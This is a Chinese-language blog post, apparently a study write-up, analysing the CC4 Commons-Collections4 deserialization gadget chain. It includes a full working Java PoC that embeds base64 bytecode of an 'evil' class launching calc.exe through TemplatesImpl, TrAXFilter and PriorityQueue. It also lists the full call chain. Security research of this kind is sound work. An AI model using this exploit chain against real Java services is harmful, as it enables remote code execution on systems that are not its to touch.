前言
针对common-collections4,ysoserial也是给出了两条反序列化调用链,一个是我们前文分析的CC2,另一个就是本文分析的CC4。
环境搭建
- jdk 8u71
- commons-collections-4.0
CC4分析
其实CC4链就是将CC2链中的InvokerTransformer调用TemplatesImpl.newTransformer()方法换成了InstantiateTransformer来加载字节码,具体原理可以看我之前CC3链分析。
大致就是TrAXFilter的构造方法能调用templates.newTransformer():

而InstantiateTransformer重写的transform方法中能获取类的构造方法方法并创建实例:

所以iArgs和iParamTypes都是我们可控的,可以通过将该方法来执行我们的TemplatesImpl.newTransfomer()方法:
1 2 3 4 5 6 7 8 9 10
| 正常写法: Constructor con=TrAXFilter.class.getConstructor(Templates.class); con.newInstance(Impl);
ChainedTransformer链写法: ConstantTransformer trAX=new ConstantTransformer(TrAXFilter.class); InstantiateTransformer con=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{Impl}); Transformer[] transformers=new Transformer[]{trAX,con}; ChainedTransformer chaind=new ChainedTransformer(transformers); chaind.transform(null);
|
前面调用ChainedTransformer.transform方法也是一样的,即通过TransformingComparator.compare()调用
完整poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates; import javax.xml.transform.TransformerFactory; import java.io.*;
import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Base64; import java.util.PriorityQueue;
public class CC4 { public static void main(String[] args) throws Exception { byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");
TemplatesImpl Impl = new TemplatesImpl(); setValue(Impl,"_name","b1uel0n3"); setValue(Impl,"_class",null); setValue(Impl,"_bytecodes",new byte[][]{bytes}); setValue(Impl,"_tfactory",new TransformerFactoryImpl());
Transformer[] faketransformers=new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{Impl}) };
ChainedTransformer chaind=new ChainedTransformer(faketransformers);
TransformingComparator comparator=new TransformingComparator(chaind); PriorityQueue queue=new PriorityQueue(2, comparator);
queue.add(1); queue.add(1);
setValue(chaind,"iTransformers",transformers);
serialize(queue); unserialize(); } public static void serialize(Object obj) throws Exception{ FileOutputStream out=new FileOutputStream("E:\\study\\web\\java\\test.ser"); ObjectOutputStream oos=new ObjectOutputStream(out); oos.writeObject(obj); } public static Object unserialize() throws Exception{ FileInputStream in=new FileInputStream("E:\\study\\web\\java\\test.ser"); ObjectInputStream ois=new ObjectInputStream(in); Object o=ois.readObject(); return o; } public static void setValue(Object obj, String filedname, Object value) throws Exception { Field field=obj.getClass().getDeclaredField(filedname); field.setAccessible(true); field.set(obj,value); } public static Object getValue(Object obj, String filedname) throws Exception { Field field=obj.getClass().getDeclaredField(filedname); field.setAccessible(true); return field.get(obj); } }
|

完整利用链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| ObjectInputStream -> readObject() PriorityQueue -> readObject() PriorityQueue -> heapify() PriorityQueue -> siftDown() PriorityQueue -> siftDownUsingComparator() TransformingComparator -> compare() ChainedTransformer -> transform() ConstantTransformer -> transform() InstantiateTransformer -> transform() TrAXFilter -> TrAXFilter() TemplatesImpl -> newTransformer() TemplatesImpl -> getTransletInstance() TemplatesImpl -> defineTransletClasses() TemplatesImpl -> defineClass()
|
参考
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections4.java
https://curlysean.github.io/2025/02/27/CC4%E9%93%BE/#nAbc8